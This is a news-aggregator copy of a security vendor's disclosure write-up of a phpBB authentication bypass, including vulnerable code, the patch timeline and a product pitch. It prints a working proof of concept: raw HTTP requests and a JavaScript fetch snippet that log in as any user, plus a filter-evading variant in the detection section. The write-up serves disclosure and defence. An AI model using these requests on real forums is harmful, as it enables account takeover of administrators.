{"slug": "authentication-bypass-in-the-default-configuration-phpbb", "title": "Authentication Bypass in the default configuration phpBB", "summary": "A critical authentication bypass vulnerability in phpBB's default configuration, tracked as CVE-2026-48611, allows unauthenticated attackers to log in to any account with a single request. Discovered by Aikido's AI pentest product, the flaw was patched in version 3.3.17. Administrators are urged to update immediately.", "body_md": "June 10th, [we announced a critical vulnerability in phpBB](https://www.aikido.dev/blog/phpbb-authentication-bypass-rce) that lets attackers bypass authentication, now known as CVE-2026-48611. This post is a follow-up, containing technical details that explain exploit scenarios and detection methods.\n\nTo get you up to speed, phpBB is an old forum software that's still being used today by various technical communities. [phpBB's Site Showcase](https://www.phpbb.com/showcase/) alone has over 6 million members. While there have been some notorious attacks in the past, like the \"Santy\" worm in 2004, nowadays, they haven't had many problems with vulnerabilities. This disclosure breaks that trend.\n\nWhile researching to improve our AI pentest product, [Aikido Attack](https://www.aikido.dev/platform/attack)'s agents notified us of a \"Critical Authentication Bypass\" in phpBB. We were slightly skeptical at first. Surely this was some configuration mistake or edge case we messed up in the setup. But it couldn't have been further from the truth.\n\nThe found vulnerability works in default configuration, requiring only a single unauthenticated request to fully log in to any arbitrary account. Logging in to an administrator's account could grant you control over the whole forum!\n\nAfter noticing this, we immediately reported the vulnerability on [HackerOne](https://hackerone.com/phpbb) and received confirmation that it was triaged in under *9 minutes*!\n\nFour days later, [a patch came out in version 3.3.17](https://www.phpbb.com/community/viewtopic.php?t=2672170) addressing the vulnerability. If you manage a phpBB forum, update to this version as soon as possible if you haven't already.\n\nWe'll now dive into what parts of the code were vulnerable and how they were able to be exploited. Spoiler: it's not the crazy complicated exploit you might expect it to be…\n\n## Authentication bypass\n\nThis is all related to how exactly the login procedure works in phpBB. Not the main login flow, but specifically the \"login-link\" feature. When connecting to external services like Google or GitHub OAuth, this feature is for *linking* the account to an existing account on the phpBB instance or registering a new one.\n\nIf you choose to connect it to an existing account, it asks you to log in to your account with the `mode=login_link`\n\nquery parameter. Submitting this will then connect the OAuth account after you log in.\n\nThe callback is handled by `ucp_login_link.php`\n\nand first looks for `login_link_*`\n\ndata as query parameters, which must not be empty. These are extracted here:\n\n```\nclass ucp_login_link {\n    function main($id, $mode) {\n        ...\n        $data = $this->get_login_link_data_array();\n        if (empty($data)) {\n            $login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];\n        }\n        ...\n    }\n}\n\nprotected function get_login_link_data_array() {\n    ...\n    foreach ($var_names as $var_name) {\n        if (strpos($var_name, 'login_link_') === 0) {\n            $key_name = substr($var_name, $string_start_length);\n            $login_link_data[$key_name] = $request->variable($var_name, '', false, \\phpbb\\request\\request_interface::GET);\n        }\n    }\n```\n\nLuckily, this is easy to pass by adding some dummy data like `login_link_aikido=1`\n\n. It makes the `$data`\n\nnon-empty, and we can continue with the flow.\n\nFurther down in the code, we start to notice something peculiar. We have control over the `auth_provider`\n\nquery parameter:\n\n```\n// Use the auth_provider requested even if different from configured\n$provider_collection = $phpbb_container->get('auth.provider_collection');\n$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));\n```\n\nThe value is normally only set to `oauth`\n\n, but we can fully control it. It's supposed to tell the phpBB server which provider should be used for verifying the authentication, for example, if you have both a local database and OAuth authentication configured. But what happens when we provide other values?\n\nphpBB defines all of these as classes under [ phpbb/auth/provider](https://github.com/phpbb/phpbb/tree/efdb5f3bf4bb6562bcdc83a87e9641a7ac517e79/phpBB/phpbb/auth/provider). There is one named\n\n`apache.php`\n\nthat is very simple, a little *too*simple:\n\n```\nclass apache extends base {\n    public function login($username, $password) {\n        $php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);\n        $php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);\n\n        if (!empty($php_auth_user) && !empty($php_auth_pw)) {\n            // Basic auth username must match submitted username\n            if ($php_auth_user !== $username) {\n                return array('status' => LOGIN_ERROR_USERNAME, ...);\n            }\n\n            // Look up user in database\n            $sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type\n                FROM ' . USERS_TABLE . \"\n                WHERE username = '\" . $this->db->sql_escape($php_auth_user) . \"'\";\n            $result = $this->db->sql_query($sql);\n            $row = $this->db->sql_fetchrow($result);\n            $this->db->sql_freeresult($result);\n\n            if ($row) {\n                // User inactive\n                if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {\n                    return array('status' => LOGIN_ERROR_ACTIVE, ...);\n                }\n\n                // Successful login\n                return array('status' => LOGIN_SUCCESS, ...);\n            }\n```\n\nIt verifies the sent username matches [ PHP_AUTH_USER](https://www.php.net/manual/en/features.http-auth.php) (decoded\n\n`Basic`\n\nauthentication username), looks up the user, and then just returns `LOGIN_SUCCESS`\n\n. But one thing is missing, a password check!Congratulations, you just found a critical Authentication Bypass on phpBB! By choosing an unexpected provider like `apache`\n\n, we can skip the password and log in as any user.\n\nNow, to clear up any confusion, the maintainers did not just \"forget\" to add a password check here. The [intended functionality](https://www.phpbb.com/community/viewtopic.php?t=530840) of the `apache`\n\nprovider assumes that authentication is handled by the Apache proxy with `.htpasswd`\n\n, and every request must go through it first. phpBB just trusts the username that comes in the Basic authentication header in that case.\n\nWhat we did here was trigger the `apache`\n\nprovider without Apache having to be configured, through a feature designed only for `oauth`\n\n. In this case, the client directly becomes the \"trusted proxy,\" and we can send any username they wish.\n\nSo, we can make a request that triggers the login-link flow with valid data and a username of our choosing, but set the handler to `apache`\n\nto skip the password check. Usernames aren't hard to find on phpBB instances, making it easy to log in as an administrator or moderator.\n\nAll of this works in the default configuration of phpBB, making it all the more dangerous\n\n## Proof of concept\n\nReproducing this vulnerability is not hard. On any local phpBB instance, the following HTTP request shows a bypass to log in to the `admin`\n\nuser (encoded as Base64 in the `Authorization:`\n\nheader like `admin:x`\n\nto `YWRtaW46eA==`\n\n).\n\n```\nPOST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1\nHost: phpbb.local\nContent-Length: 49\nAuthorization: Basic YWRtaW46eA==\nContent-Type: application/x-www-form-urlencoded\n\nlogin_username=admin&login_password=x&login=Login\n```\n\nA successful response sets the cookies and redirects to the homepage. The attacker is then fully logged in to the targeted account.\n\n```\nHTTP/1.1 302 Found\nServer: Apache/2.4.67 (Debian)\nX-Powered-By: PHP/8.2.31\nSet-Cookie: phpbb_f4xf4_u=1; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_u=2; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly\nSet-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; path=/; domain=phpbb.local; HttpOnly\nLocation: http://phpbb.local/index.php/\nContent-Length: 0\nContent-Type: text/html; charset=UTF-8\n```\n\nTo generate the above request, the following JavaScript code can be run in the DevTools Console of any instance:\n\n``` js\nconst TARGET_USER = \"admin\";\nawait fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {\n  method: \"POST\",\n  headers: {\n    Authorization: `Basic ${btoa(TARGET_USER + \":x\")}`\n  },\n  body: new URLSearchParams({login_username: TARGET_USER, login_password: \"x\", login: \"Login\"})\n});\n```\n\nReloading the webpage afterward shows the attacker is logged in to the targeted account:\n\n## Indicators of compromise\n\nCheck request logs for POST requests that have `auth_provider=apache`\n\nand `mode=login_link`\n\nquery parameters together. This is the most common exploit. See the example request *above*.\n\nHowever, note that because phpBB reads both parameters from the POST body too, those parameters take priority over GET parameters. A filter bypass request can then look like a regular `mode=login`\n\n, while actually performing `mode=login_link`\n\nin the body. `login_link_*`\n\nis still a required query parameter, so it can be used as an indicator of a suspicious request, then analyzed manually further. It can look like this:\n\n```\nPOST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1\nHost: phpbb.local\nContent-Length: 86\nContent-Type: application/x-www-form-urlencoded\nAuthorization: Basic YWRtaW46eA==\n\nlogin_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=Login\n```\n\nThis is the kind of thing [Aikido Attack](https://www.aikido.dev/attack/aipentest) turns up on a normal run. It hunts auth bypasses, IDORs, and logic flaws the way a real attacker would, then validates each one so you only see what's actually exploitable. Point it at your own apps and secure them fast.\n\n## Timeline\n\n- June 2, 2026 8:22 PM - Submitted report to\n[https://hackerone.com/phpbb](https://hackerone.com/phpbb)VDP program - June 2, 2026 8:31 PM - Report was triaged by phpBB staff (\n*that's right, 9 minutes!*) - June 6, 2026 4:26 PM - Version 3.3.17 with a patch is released\n- June 10, 2026 12:33 PM - We publish an\n[initial announcement](https://www.aikido.dev/blog/phpbb-authentication-bypass-rce)to warn users - June 10, 2026 7:33 PM - phpBB maintainers ask us to wait 4 weeks before publishing technical details\n- July 3, 2026 2:45 AM - This technical write-up is published", "url": "https://wpnews.pro/news/authentication-bypass-in-the-default-configuration-phpbb", "canonical_source": "https://www.aikido.dev/blog/authentication-bypass-phpbb-technical-writeup", "published_at": "2026-07-03 23:45:00+00:00", "updated_at": "2026-07-04 16:56:12.444551+00:00", "lang": "en", "topics": ["ai-products", "ai-agents", "ai-safety"], "entities": ["phpBB", "Aikido", "HackerOne", "CVE-2026-48611", "Aikido Attack"], "alternates": {"html": "https://wpnews.pro/news/authentication-bypass-in-the-default-configuration-phpbb", "markdown": "https://wpnews.pro/news/authentication-bypass-in-the-default-configuration-phpbb.md", "text": "https://wpnews.pro/news/authentication-bypass-in-the-default-configuration-phpbb.txt", "jsonld": "https://wpnews.pro/news/authentication-bypass-in-the-default-configuration-phpbb.jsonld"}}